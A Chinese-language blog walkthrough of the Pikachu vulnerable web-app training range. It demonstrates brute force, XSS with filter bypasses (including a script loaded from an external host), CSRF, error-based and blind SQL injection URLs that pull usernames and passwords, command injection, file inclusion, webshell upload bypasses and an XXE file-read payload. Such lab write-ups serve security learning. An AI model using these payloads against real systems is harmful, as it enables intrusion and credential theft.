pikachu通关

密码爆破

1.1表单爆破

Burpsuite抓包直接爆
pikachu通关

1.2验证码绕过(on server)

验证码在服务端只验证一次,那么手动输入验证码后再次爆
pikachu通关

1.3验证码绕过(on client)

验证码只在客户端进行验证,并不会发送到服务端,所以抓包的时候直接把验证码去掉再爆
pikachu通关

1.4绕过token防护

这里我就得向服务器获取到token值,然后递归和字典一起爆
pikachu通关

获取到的第一个token值,需要手动粘贴填一下,另外重定向哪里也需要设成一直
pikachu通关

XSS注入

反射型(get)

直接再url中写入payload

1<script>alert('1')</script>

pikachu通关

反射型(post)

在搜素框中写入payload,点击时触发

1<h onclick=alert('1')>1<h>

pikachu通关

存储型

留言板中留个图片,不加源,同样是点击触发

1<img  src="" onclick=alert('1')>

pikachu通关

DOM型

直接单引号闭合跃出,加上点击触发

1' onclick="alert('xss')">

pikachu通关

DOM_XSS-X

同理
pikachu通关

盲打

不管3721,尝试就对了
pikachu通关

pikachu通关

绕过滤

第一种,大小写

1<ScRipt>alert(1)</ScRIpT>

pikachu通关

第二种,双重尖括号双倍快乐

12<<SCRIPT>alert("XSS");//<</SCRIPT>

pikachu通关

第三种,没有标签绕过
某些浏览器中不需要加入常规XSSpayload中的”>”部分.例如firefox会为你非常体贴的安全闭合HTML标签,并且加入闭合标签!

1<SCRIPT SRC=http://xss.rocks/xss.js?< B >

pikachu通关
其他绕过方式

1/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

htmlspecialchars实体转换

使用Javascript伪协议

1javascript:alert(document.domain)

pikachu通关

href输出

同样可以使用伪协议输出

1javascript:alert(document.domain)

pikachu通关

js输出

闭合,输出
pikachu通关

CSRF跨站伪造请求

GET型

直接存在于URL中,实现起来很简单
pikachu通关

post型

POST注入稍微麻烦一点需要先截包,然后使用burpsuite生成一个表单,挂在服务器里,让受害者点击
pikachu通关

token

SQL注入

数字型注入

布尔判断寻找注入点
pikachu通关

直接order by,猜出字段数

pikachu通关

查找显示位
pikachu通关

查看数据库版本和当前库名
pikachu通关

根据得到的库名得到pikachu中所有表名
pikachu通关

查找users表中的所有字段信息
pikachu通关

然后直接查找pikachu库中users表的username和password信息
pikachu通关

同理可以查找数据库root用户的密码
pikachu通关

解密
pikachu通关

字符型注入

单引号判断注入点

pikachu通关

闭合单引号

pikachu通关

判断字段数
pikachu通关

使用updatexml报错注入得到pikachu库下的表名

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查询

pikachu通关

拿到users表的字段信息

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查询

pikachu通关

拿users表的具体内容

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查询

pikachu通关

搜索型注入

可以发现单引号出现报错,注释掉后回显正常,那么就可以选择联合注入或者是报错注入,这里就不占篇幅了
pikachu通关

不知名类型注入

可以看见他构造的闭合有点奇怪,是'),有的情况下还有双引号、中括号等奇葩方式,但是只要找到注入点就基本结束了,注入方法参考上面的联合和报错
pikachu通关

insert、update、delete注入

加入万能的单引号
pikachu通关

再次使用报错
pikachu通关

延时注入(布尔注入与延时同理不做演示)

payload如下

123http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
?name=lili' and sleep(20
)--+

pikachu通关

宽字节注入

带入%82复活单引号

pikachu通关
接下来就简单了,和上面一样

命令执行

远程命令执行

例如在执行ping命令后加管道符(或&&)执行systeminfo获取系统详细信息,
pikachu通关

远程代码执行

例如输入phpinfo();
pikachu通关

文件包含

本地文件包含

一般配合目录遍历使用,例如读取服务器的hosts文件
pikachu通关
pikachu通关

远程文件包含

远端服务器准备
docker快速开一个lnmp服务

12root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5

包含远端文件
pikachu通关

文件下载

目录遍历下载个记事本
pikachu通关

文件上传

客户端检查

将webshell上传时改成图片格式,截包后改成php格式

pikachu通关

服务端检查

不用改成图片格式,直接上传webshell,截包将Content-Type声明为 image/png
pikachu通关

webshell连接
pikachu通关

图像内容检查

这里使用了getimagesize() 函数获取图像大小及文件头是否是真实的图片,所以需要将webshell写入真实的图片来绕过检查
pikachu通关

webshell连接
这里的shell是放在图片里的,所以需要让nginx错误的解析图片释放webshell
pikachu通关

越权

水平越权

直接替换用户查询即可
pikachu通关

垂直越权

admin登陆后进入添加用户复制URL退出登陆,登陆pikachu进入admin的管理界面添加一个用户lisi
pikachu通关

目录遍历

pikachu通关

敏感信息泄露

直接F12查看代码
pikachu通关

PHP反序列化

pikachu通关

XML注入

payload

12345<?xml version = "1.0"?><!DOCTYPE ANY [

    <!ENTITY f SYSTEM "file:///C://Windows//win.ini">

]><x>&f;</x>

pikachu通关

URL重定向

pikachu通关

SSRF

curl_exec()函数

pikachu通关

file_get_contents()函数

pikachu通关

https://brands.cnblogs.com/huawei)

上一篇:xss靶场笔记


下一篇:记一次SSRF练习